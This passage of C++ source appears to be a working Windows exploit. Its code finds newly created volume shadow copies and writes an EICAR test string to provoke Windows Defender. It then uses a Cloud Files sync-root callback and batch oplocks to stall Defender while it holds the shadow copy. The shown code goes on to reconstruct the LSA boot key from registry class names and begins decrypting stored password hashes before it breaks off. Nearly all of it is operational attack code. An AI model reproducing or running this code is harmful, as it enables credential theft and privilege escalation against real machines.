stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz); 1052 if (stat == STATUS_SUCCESS) 1053 break; 1054 else if (stat != STATUS_MORE_ENTRIES) 1055 { 1056 printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); 1057 *criticalerr = true; 1058 *errorcode = RtlNtStatusToDosError(stat); 1059 return NULL; 1060 } 1061 1062 free(objdirinfo); 1063 reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; 1064 objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); 1065 if (!objdirinfo) 1066 { 1067 printf("Failed to allocate required buffer to query object manager directory.\n"); 1068 *criticalerr = true; 1069 *errorcode = ERROR_NOT_ENOUGH_MEMORY; 1070 return NULL; 1071 } 1072 ZeroMemory(objdirinfo, reqsz); 1073 } while (1); 1074 void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); 1075 ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); 1076 LLShadowVolumeNames* LLVSScurrent = NULL; 1077 LLShadowVolumeNames* LLVSSfirst = NULL; 1078 for (ULONG i = 0; i < ULONG_MAX; i++) 1079 { 1080 if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) 1081 { 1082 free(emptybuff); 1083 break; 1084 } 1085 if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) 1086 { 1087 wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; 1088 if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) 1089 { 1090 if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) 1091 { 1092 (*vscnumber)++; 1093 if (LLVSScurrent) 1094 { 1095 LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); 1096 if (!LLVSScurrent->next) 1097 { 1098 printf("Failed to allocate memory.\n"); 1099 *criticalerr = true; 1100 *errorcode = ERROR_NOT_ENOUGH_MEMORY; 1101 DestroyVSSNamesList(LLVSSfirst); 1102 free(objdirinfo); 1103 return NULL; 1104 } 1105 ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames)); 1106 LLVSScurrent = LLVSScurrent->next; 1107 LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); 1108 if (!LLVSScurrent->name) 1109 { 1110 printf("Failed to allocate memory !!!\n"); 1111 *errorcode = ERROR_NOT_ENOUGH_MEMORY; 1112 *criticalerr = true; 1113 DestroyVSSNamesList(LLVSSfirst); 1114 free(objdirinfo); 1115 return NULL; 1116 } 1117 ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); 1118 memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); 1119 } 1120 else 1121 { 1122 LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); 1123 if (!LLVSSfirst) 1124 { 1125 printf("Failed to allocate memory.\n"); 1126 *errorcode = ERROR_NOT_ENOUGH_MEMORY; 1127 *criticalerr = true; 1128 DestroyVSSNamesList(LLVSSfirst); 1129 free(objdirinfo); 1130 return NULL; 1131 } 1132 ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames)); 1133 LLVSScurrent = LLVSSfirst; 1134 LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); 1135 if (!LLVSScurrent->name) 1136 { 1137 printf("Failed to allocate memory !!!\n"); 1138 *errorcode = ERROR_NOT_ENOUGH_MEMORY; 1139 *criticalerr = true; 1140 DestroyVSSNamesList(LLVSSfirst); 1141 free(objdirinfo); 1142 return NULL; 1143 } 1144 ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); 1145 memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); 1146 1147 } 1148 1149 } 1150 } 1151 } 1152 1153 1154 1155 1156 } 1157 free(objdirinfo); 1158 return LLVSSfirst; 1159 } 1160 1161 DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath) 1162 { 1163 1164 wchar_t devicepath[] = L"\\Device"; 1165 UNICODE_STRING udevpath = { 0 }; 1166 RtlInitUnicodeString(&udevpath, devicepath); 1167 OBJECT_ATTRIBUTES objattr = { 0 }; 1168 InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL); 1169 NTSTATUS stat = STATUS_SUCCESS; 1170 HANDLE hobjdir = NULL; 1171 DWORD retval = ERROR_SUCCESS; 1172 wchar_t newvsspath[MAX_PATH] = { 0 }; 1173 wcscpy(newvsspath, L"\\Device\\"); 1174 bool criterr = false; 1175 int vscnum = 0; 1176 bool restartscan = false; 1177 ULONG scanctx = 0; 1178 ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); 1179 ULONG retsz = 0; 1180 OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL; 1181 bool srchfound = false; 1182 wchar_t vsswinpath[MAX_PATH] = { 0 }; 1183 UNICODE_STRING _vsswinpath = { 0 }; 1184 1185 OBJECT_ATTRIBUTES objattr2 = { 0 }; 1186 IO_STATUS_BLOCK iostat = { 0 }; 1187 HANDLE hlk = NULL; 1188 LLShadowVolumeNames* vsinitial = NULL; 1189 1190 stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr); 1191 if (stat) 1192 { 1193 printf("Failed to open object manager directory, error : 0x%0.8X", stat); 1194 retval = RtlNtStatusToDosError(stat); 1195 return retval; 1196 } 1197 void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); 1198 if (!emptybuff) 1199 { 1200 printf("Failed to allocate memory !!!"); 1201 retval = ERROR_NOT_ENOUGH_MEMORY; 1202 goto cleanup; 1203 } 1204 ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); 1205 1206 1207 vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval); 1208 1209 if (criterr) 1210 { 1211 printf("Unexpected error while listing current volume shadow copy volumes\n"); 1212 goto cleanup; 1213 } 1214 if (!vsinitial) 1215 { 1216 printf("No volume shadow copies were found.\n"); 1217 } 1218 else 1219 { 1220 printf("Found %d volume shadow copies\n", vscnum); 1221 } 1222 1223 1224 1225 stat = STATUS_SUCCESS; 1226 1227 scanagain: 1228 do 1229 { 1230 if (objdirinfo) 1231 free(objdirinfo); 1232 objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); 1233 if (!objdirinfo) 1234 { 1235 printf("Failed to allocate required buffer to query object manager directory.\n"); 1236 retval = ERROR_NOT_ENOUGH_MEMORY; 1237 goto cleanup; 1238 } 1239 ZeroMemory(objdirinfo, reqsz); 1240 1241 scanctx = 0; 1242 stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz); 1243 if (stat == STATUS_SUCCESS) 1244 break; 1245 else if (stat != STATUS_MORE_ENTRIES) 1246 { 1247 printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); 1248 retval = RtlNtStatusToDosError(stat); 1249 goto cleanup; 1250 } 1251 reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; 1252 } while (1); 1253 1254 1255 1256 for (ULONG i = 0; i < ULONG_MAX; i++) 1257 { 1258 if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) 1259 { 1260 break; 1261 } 1262 if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) 1263 { 1264 wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; 1265 if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) 1266 { 1267 if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) 1268 { 1269 // check against the list if there this is a unique VS Copy 1270 LLShadowVolumeNames* current = vsinitial; 1271 bool found = false; 1272 while (current) 1273 { 1274 if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0) 1275 { 1276 found = true; 1277 break; 1278 } 1279 current = current->next; 1280 } 1281 if (found) 1282 continue; 1283 else 1284 { 1285 srchfound = true; 1286 wcscat(newvsspath, objdirinfo[i].Name.Buffer); 1287 break; 1288 } 1289 } 1290 } 1291 } 1292 } 1293 1294 if (!srchfound) { 1295 restartscan = true; 1296 goto scanagain; 1297 } 1298 if (objdirinfo) { 1299 free(objdirinfo); 1300 objdirinfo = NULL; 1301 } 1302 NtClose(hobjdir); 1303 hobjdir = NULL; 1304 1305 1306 1307 printf("New volume shadow copy detected : %ws\n", newvsspath); 1308 1309 1310 wcscpy(vsswinpath, newvsspath); 1311 wcscat(vsswinpath, L"\\Windows"); 1312 RtlInitUnicodeString(&_vsswinpath, vsswinpath); 1313 InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL); 1314 1315 retry: 1316 stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL); 1317 if (stat == STATUS_NO_SUCH_DEVICE) 1318 goto retry; 1319 if (stat) 1320 { 1321 printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat); 1322 retval = RtlNtStatusToDosError(stat); 1323 goto cleanup; 1324 1325 1326 } 1327 printf("Successfully accessed volume shadow copy.\n"); 1328 CloseHandle(hlk); 1329 if (fullvsspath) 1330 wcscpy((wchar_t*)fullvsspath, newvsspath); 1331 1332 1333 cleanup: 1334 if (hobjdir) 1335 NtClose(hobjdir); 1336 if (emptybuff) 1337 free(emptybuff); 1338 if (vsinitial) 1339 DestroyVSSNamesList(vsinitial); 1340 1341 return retval; 1342 } 1343 1344 DWORD GetWDPID() 1345 { 1346 static DWORD retval = 0; 1347 if (retval) 1348 return retval; 1349 1350 SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); 1351 if (!scmgr) 1352 return 0; 1353 SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS); 1354 CloseServiceHandle(scmgr); 1355 if (!hsvc) 1356 return 0; 1357 1358 1359 SERVICE_STATUS_PROCESS ssp = { 0 }; 1360 DWORD reqsz = sizeof(ssp); 1361 bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz); 1362 CloseServiceHandle(hsvc); 1363 if (!res) 1364 return 0; 1365 retval = ssp.dwProcessId; 1366 return retval; 1367 1368 } 1369 1370 void CfCallbackFetchPlaceHolders( 1371 _In_ CONST CF_CALLBACK_INFO* CallbackInfo, 1372 _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters 1373 ) { 1374 1375 printf("CfCallbackFetchPlaceHolders triggered !\n"); 1376 1377 CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo; 1378 wchar_t* procname = PathFindFileName(cpi->ImagePath); 1379 printf("Directory query from %ws\n", procname); 1380 if (GetWDPID() == cpi->ProcessId) 1381 { 1382 cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext; 1383 SetEvent(ctx->hnotifywdaccess);; 1384 1385 printf("Defender flagged.\n"); 1386 CF_OPERATION_INFO cfopinfo = { 0 }; 1387 cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); 1388 cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; 1389 cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; 1390 cfopinfo.TransferKey = CallbackInfo->TransferKey; 1391 cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; 1392 cfopinfo.RequestKey = CallbackInfo->RequestKey; 1393 //STATUS_CLOUD_FILE_REQUEST_TIMEOUT 1394 SYSTEMTIME systime = { 0 }; 1395 FILETIME filetime = { 0 }; 1396 GetSystemTime(&systime); 1397 SystemTimeToFileTime(&systime, &filetime); 1398 1399 FILE_BASIC_INFO filebasicinfo = { 0 }; 1400 filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; 1401 CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} }; 1402 CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 }; 1403 GUID uid = { 0 }; 1404 RPC_WSTR wuid = { 0 }; 1405 UuidCreate(&uid); 1406 UuidToStringW(&uid, &wuid); 1407 wchar_t* wuid2 = (wchar_t*)wuid; 1408 placeholder[0].RelativeFileName = ctx->filename; 1409 1410 placeholder[0].FsMetadata = fsmetadata; 1411 1412 UuidCreate(&uid); 1413 UuidToStringW(&uid, &wuid); 1414 wuid2 = (wchar_t*)wuid; 1415 placeholder[0].FileIdentity = wuid2; 1416 placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t); 1417 placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE; 1418 1419 1420 CF_OPERATION_PARAMETERS cfopparams = { 0 }; 1421 cfopparams.ParamSize = sizeof(cfopparams); 1422 cfopparams.TransferPlaceholders.PlaceholderCount = 1; 1423 cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1; 1424 cfopparams.TransferPlaceholders.EntriesProcessed = 0; 1425 cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; 1426 cfopparams.TransferPlaceholders.PlaceholderArray = placeholder; 1427 1428 WaitForSingleObject(ctx->hnotifylockcreated, INFINITE); 1429 HRESULT hs = CfExecute(&cfopinfo, &cfopparams); 1430 printf("CfExecute returned : 0x%0.8X\n", hs); 1431 return; 1432 } 1433 CF_OPERATION_INFO cfopinfo = { 0 }; 1434 cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); 1435 cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; 1436 cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; 1437 cfopinfo.TransferKey = CallbackInfo->TransferKey; 1438 cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; 1439 cfopinfo.RequestKey = CallbackInfo->RequestKey; 1440 CF_OPERATION_PARAMETERS cfopparams = { 0 }; 1441 cfopparams.ParamSize = sizeof(cfopparams); 1442 cfopparams.TransferPlaceholders.PlaceholderCount = 0; 1443 cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0; 1444 cfopparams.TransferPlaceholders.EntriesProcessed = 0; 1445 cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; 1446 cfopparams.TransferPlaceholders.PlaceholderArray = { 0 }; 1447 HRESULT hs = CfExecute(&cfopinfo, &cfopparams); 1448 printf("CfExecute : 0x%0.8X\n", hs); 1449 1450 return; 1451 1452 1453 } 1454 1455 DWORD WINAPI FreezeVSS(void* arg) 1456 { 1457 cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg; 1458 if (!args) 1459 return ERROR_BAD_ARGUMENTS; 1460 1461 HANDLE hlock = NULL; 1462 HRESULT hs; 1463 CF_SYNC_REGISTRATION cfreg = { 0 }; 1464 cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION); 1465 cfreg.ProviderName = L"IHATEMICROSOFT"; 1466 cfreg.ProviderVersion = L"1.0"; 1467 CF_SYNC_POLICIES syncpolicy = { 0 }; 1468 syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES); 1469 syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED; 1470 syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; 1471 syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED; 1472 syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT; 1473 syncpolicy.InSync = CF_INSYNC_POLICY_NONE; 1474 CF_CALLBACK_REGISTRATION callbackreg[2]; 1475 callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders }; 1476 callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL }; 1477 CF_CONNECTION_KEY cfkey = { 0 }; 1478 OVERLAPPED ovd = { 0 }; 1479 DWORD nwf = 0; 1480 //wchar_t syncroot[] = L"C:\\temp"; 1481 wchar_t syncroot[MAX_PATH] = { 0 }; 1482 GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH); 1483 *(PathFindFileName(syncroot) - 1) = L'\0'; 1484 DWORD retval = STATUS_SUCCESS; 1485 wchar_t lockfile[MAX_PATH]; 1486 wcscpy(lockfile, syncroot); 1487 wcscat(lockfile, L"\\"); 1488 GUID uid = { 0 }; 1489 RPC_WSTR wuid = { 0 }; 1490 UuidCreate(&uid); 1491 UuidToStringW(&uid, &wuid); 1492 wchar_t* wuid2 = (wchar_t*)wuid; 1493 wcscat(lockfile, wuid2); 1494 wcscat(lockfile, L".lock"); 1495 cldcallbackctx callbackctx = { 0 }; 1496 bool syncrootregistered = false; 1497 callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL); 1498 callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL); 1499 if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess) 1500 { 1501 printf("Failed to create event, error : %d", GetLastError()); 1502 retval = GetLastError(); 1503 goto cleanup; 1504 } 1505 wcscpy(callbackctx.filename, wuid2); 1506 wcscat(callbackctx.filename, L".lock"); 1507 hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL); 1508 if (!hlock || hlock == INVALID_HANDLE_VALUE) 1509 { 1510 printf("Failed to create lock file %ws error : %d", lockfile, GetLastError()); 1511 retval = GetLastError(); 1512 goto cleanup; 1513 } 1514 1515 1516 //CreateDirectory(syncroot, NULL); 1517 hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE); 1518 if (hs) 1519 { 1520 printf("Failed to register syncroot, hr = 0x%0.8X\n", hs); 1521 retval = ERROR_UNIDENTIFIED_ERROR; 1522 goto cleanup; 1523 } 1524 syncrootregistered = true; 1525 hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); 1526 if (hs) 1527 { 1528 printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs); 1529 retval = ERROR_UNIDENTIFIED_ERROR; 1530 goto cleanup; 1531 } 1532 if (args->hlock) { 1533 CloseHandle(args->hlock); 1534 args->hlock = NULL; 1535 } 1536 1537 printf("Waiting for callback...\n"); 1538 1539 WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE); 1540 1541 ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); 1542 if (!ovd.hEvent) 1543 { 1544 printf("Failed to create event, error : %d\n", GetLastError()); 1545 retval = GetLastError(); 1546 goto cleanup; 1547 } 1548 DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); 1549 1550 if (GetLastError() != ERROR_IO_PENDING) 1551 { 1552 printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); 1553 retval = GetLastError(); 1554 goto cleanup; 1555 } 1556 SetEvent(callbackctx.hnotifylockcreated); 1557 1558 printf("Waiting for oplock to trigger...\n"); 1559 1560 GetOverlappedResult(hlock, &ovd, &nwf, TRUE); 1561 1562 printf("WD is frozen and the new VSS can be used.\n"); 1563 1564 SetEvent(args->hvssready); 1565 1566 WaitForSingleObject(args->hcleanupevent, INFINITE); 1567 1568 1569 1570 cleanup: 1571 1572 if (hlock) 1573 CloseHandle(hlock); 1574 if (callbackctx.hnotifylockcreated) 1575 CloseHandle(callbackctx.hnotifylockcreated); 1576 if (callbackctx.hnotifywdaccess) 1577 CloseHandle(callbackctx.hnotifywdaccess); 1578 if (ovd.hEvent) 1579 CloseHandle(ovd.hEvent); 1580 1581 if (syncrootregistered) 1582 { 1583 CfDisconnectSyncRoot(cfkey); 1584 CfUnregisterSyncRoot(syncroot); 1585 } 1586 1587 1588 return retval; 1589 1590 } 1591 1592 1593 bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath) 1594 { 1595 GUID uid = { 0 }; 1596 RPC_WSTR wuid = { 0 }; 1597 UuidCreate(&uid); 1598 UuidToStringW(&uid, &wuid); 1599 wchar_t* wuid2 = (wchar_t*)wuid; 1600 1601 wchar_t workdir[MAX_PATH] = { 0 }; 1602 ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH); 1603 wcscat(workdir, wuid2); 1604 wchar_t eicarfilepath[MAX_PATH] = { 0 }; 1605 wcscpy(eicarfilepath,workdir); 1606 wcscat(eicarfilepath,L"\\foo.exe"); 1607 1608 HANDLE hlock = NULL; 1609 wchar_t rstmgr[MAX_PATH] = { 0 }; 1610 ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH); 1611 OVERLAPPED ovd = { 0 }; 1612 char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X"; 1613 rev(eicar); 1614 DWORD nwf = 0; 1615 cloudworkerthreadargs cldthreadargs = { 0 }; 1616 DWORD tid = 0; 1617 HANDLE hthread = NULL; 1618 bool dircreated = false; 1619 bool retval = true; 1620 HANDLE hfile = NULL; 1621 HANDLE trigger = NULL; 1622 HANDLE hthread2 = NULL; 1623 HANDLE hobj[2] = { 0 }; 1624 DWORD exitcode = STATUS_SUCCESS; 1625 DWORD waitres = 0; 1626 hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid); 1627 if (!hthread) 1628 { 1629 printf("Failed to create worker thread, error : %d", GetLastError()); 1630 retval = false; 1631 goto cleanup; 1632 } 1633 1634 dircreated = CreateDirectory(workdir, NULL); 1635 if (!dircreated) 1636 { 1637 printf("Failed to create working directory, error : %d\n",GetLastError()); 1638 retval = false; 1639 goto cleanup; 1640 } 1641 1642 hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL); 1643 if (!hfile || hfile == INVALID_HANDLE_VALUE) 1644 { 1645 printf("Failed to create eicar test file, error : %d\n", GetLastError()); 1646 retval = false; 1647 goto cleanup; 1648 } 1649 1650 1651 1652 if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL)) 1653 { 1654 printf("Failed to write eicar test file, error : %d\n", GetLastError()); 1655 retval = false; 1656 goto cleanup; 1657 } 1658 1659 1660 hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); 1661 if (!hlock || hlock == INVALID_HANDLE_VALUE) 1662 { 1663 printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError()); 1664 retval = false; 1665 goto cleanup; 1666 } 1667 1668 1669 ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); 1670 if (!ovd.hEvent) 1671 { 1672 printf("Failed to create event object with error : %d !!!!\n", GetLastError()); 1673 retval = false; 1674 goto cleanup; 1675 } 1676 1677 SetLastError(ERROR_SUCCESS); 1678 DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); 1679 1680 if (GetLastError() != ERROR_IO_PENDING) 1681 { 1682 printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); 1683 retval = false; 1684 goto cleanup; 1685 } 1686 1687 // trigger wd for action 1688 trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 1689 if (trigger && trigger != INVALID_HANDLE_VALUE) 1690 CloseHandle(trigger); 1691 1692 printf("Waiting for oplock to trigger...\n"); 1693 GetOverlappedResult(hlock, &ovd, &nwf, TRUE); 1694 printf("Oplock triggered.\n"); 1695 1696 if (!GetExitCodeThread(hthread, &exitcode)) 1697 { 1698 printf("Unexpected error while getting worker thread exit code"); 1699 retval = false; 1700 goto cleanup; 1701 } 1702 if (exitcode) 1703 { 1704 printf("Failed to get new volume shadow copy path"); 1705 retval = false; 1706 goto cleanup; 1707 1708 } 1709 1710 1711 cldthreadargs.hcleanupevent = hreleaseevent; 1712 cldthreadargs.hlock = hlock; 1713 cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL); 1714 1715 hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid); 1716 if (!hthread2) { 1717 printf("Unable to create worker thread, error : %d", GetLastError()); 1718 retval = false; 1719 goto cleanup; 1720 } 1721 1722 1723 1724 hobj[0] = hthread2; 1725 hobj[1] = cldthreadargs.hvssready; 1726 waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE); 1727 1728 if (waitres - WAIT_OBJECT_0 == 0) 1729 { 1730 printf("Unable to freeze WD, thread exited prematurely.\n"); 1731 retval = false; 1732 } 1733 1734 cleanup: 1735 1736 1737 if (hthread) 1738 CloseHandle(hthread); 1739 if(hthread2) 1740 CloseHandle(hthread2); 1741 if(cldthreadargs.hvssready) 1742 CloseHandle(cldthreadargs.hvssready); 1743 if (ovd.hEvent) 1744 CloseHandle(ovd.hEvent); 1745 if (hfile) 1746 CloseHandle(hfile); 1747 if (dircreated) 1748 RemoveDirectory(workdir); 1749 1750 return retval; 1751 1752 1753 1754 } 1755 ////////////////////////////////////////////////////////////////////// 1756 // Volume shadow copy functions end 1757 ///////////////////////////////////////////////////////////////////// 1758 1759 1760 1761 void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) { 1762 size_t len = strlen(hex_string); 1763 if (len % 2 != 0) { 1764 fprintf(stderr, "Error: Hex string length must be even.\n"); 1765 return; 1766 } 1767 1768 size_t byte_len = len / 2; 1769 if (byte_len > max_len) { 1770 fprintf(stderr, "Error: Output buffer too small.\n"); 1771 return; 1772 } 1773 1774 for (size_t i = 0; i < byte_len; i++) { 1775 // Read two hex characters and convert them to an unsigned int 1776 unsigned int byte_val; 1777 if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) { 1778 fprintf(stderr, "Error: Invalid hex character in string.\n"); 1779 return; 1780 } 1781 byte_array[i] = (unsigned char)byte_val; 1782 } 1783 } 1784 1785 bool GetLSASecretKey(unsigned char bootkeybytes[16]) 1786 { 1787 1788 const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} }; 1789 int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 }; 1790 1791 1792 //ORHKEY hlsa = NULL; 1793 HKEY hlsa = NULL; 1794 DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa); 1795 char data[0x1000] = { 0 }; 1796 DWORD index = 0; 1797 for (const wchar_t* keyname : keynames) 1798 { 1799 DWORD retsz = sizeof(data) / sizeof(char); 1800 HKEY hbootkey = NULL; 1801 err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey); 1802 1803 err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 1804 index += retsz; 1805 RegCloseKey(hbootkey); 1806 } 1807 //printf("%s\n", data); 1808 RegCloseKey(hlsa); 1809 1810 if (strlen(data) < 16) 1811 { 1812 printf("Boot key mismatch."); 1813 return 1; 1814 } 1815 1816 // convert hex string to binary 1817 unsigned char keybytes[16] = { 0 }; 1818 hex_string_to_bytes(data, keybytes, 16); 1819 1820 1821 1822 for (int i = 0; i < sizeof(keybytes); i++) 1823 { 1824 1825 bootkeybytes[i] = keybytes[indices[i]]; 1826 } 1827 return true; 1828 1829 } 1830 1831 void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen) 1832 { 1833 1834 char* decrypted = (char*)malloc(enclen); 1835 memmove(decrypted, hashdata, enclen); 1836 HCRYPTPROV hprov = NULL; 1837 1838 CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT); 1839 1840 struct aes128keyBlob 1841 { 1842 BLOBHEADER hdr; 1843 DWORD keySize; 1844 BYTE bytes[16]; 1845 } blob; 1846 1847 blob.hdr.bType = PLAINTEXTKEYBLOB; 1848 blob.hdr.bVersion = CUR_BLOB_VERSION; 1849 blob.hdr.reserved = 0; 1850 blob.hdr.aiKeyAlg = CALG_AES_128; 1851 blob.keySize = 16; 1852 memmove(blob.bytes, lsaKey, 16); 1853 HCRYPTKEY hcryptkey = NULL; 1854 CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, 